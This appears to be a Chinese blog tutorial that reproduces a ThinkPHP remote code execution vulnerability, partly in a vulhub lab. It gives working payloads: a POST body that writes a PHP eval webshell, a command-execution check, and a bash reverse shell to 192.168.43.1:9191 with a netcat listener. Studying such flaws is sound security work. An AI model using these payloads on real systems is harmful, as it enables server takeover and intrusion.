1.Thinkphp
2.漏洞原理及成因
3.漏洞复现
首先要找到一个有漏洞的页面!!!

然后就可以用工具去fuzz亿下!!嘻嘻

可以看见是能成功fuzz出来的!!!

于是就可以加以利用了,我们这里直接讲两种利用的方法
1.RCE(Remote Code Execute)
远程代码执行,那么我们肯定是要上poc啦,在上poc之前,我们要知道,这是一个因为参数覆盖导致的RCE!!!
那么我们需要去抓包!!!
 先将get包改成post
 先将get包改成post
然后再去修改参数(首先确定是Windows版本的)可以看见页面上是返回了信息的

那么我们去ping的话应该也是可以的!!!


2.Getshell !!!
1.Windows版本
代码执行是你的谎言,getshell才是你的真相,直接上poc
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo+^<?php+@eval($_POST['cmd']);+?^>+>>shell.php可以看见是能够成功的getshell的!!!

2.Linux版本
我们也完全可以这样做,但是呢,可以讲一个新的方法
我就直接用vulhub的docker环境了

然后我们要来讲这样的一个命令
_method=__construct&filter[]=system&method=get&get[]=pwd这个可以用来验证!!存在漏洞!!!!

然后讲一种新getshell的方法
●/bin/bash -c "bash -i >& /dev/tcp/192.168.43.1/9191 0>&1"下面来解释一下这个命令
- /bin/bash是要执行的 shell 程序的路径,- -c选项告诉 Bash shell 要执行后面的命令字符串。
- bash -i 是启动一个交互式的shell !!
- >& /dev/tcp/192.168.43.1/9191 将标准输出和标准错误重定向到指定的 TCP 连接
- 0>&1将标准输入重定向到标准输出,使得输入和输出都通过 TCP 连接
这意味着命令试图在目标主机上建立一个 TCP 连接,并将该连接与一个交互式的 Bash shell 关联起来,以便攻击者可以通过该连接执行命令并与目标系统进行交互。
然后,我们在在主机上开启监听,我这里用netcat!!(别问我端口为什么这么有特性)

 编码之后发送即可!!
 编码之后发送即可!!


当然了,感觉这个shell还是没有直接写的webshell好用呢
对了还要补充一下那个编码的网址   在线url网址编码、解码器-BeJSON.com https://www.bejson.com/enc/urlencode/
https://www.bejson.com/enc/urlencode/
那么以上就是thinkphp的框架漏洞的基本原理以及复现啦
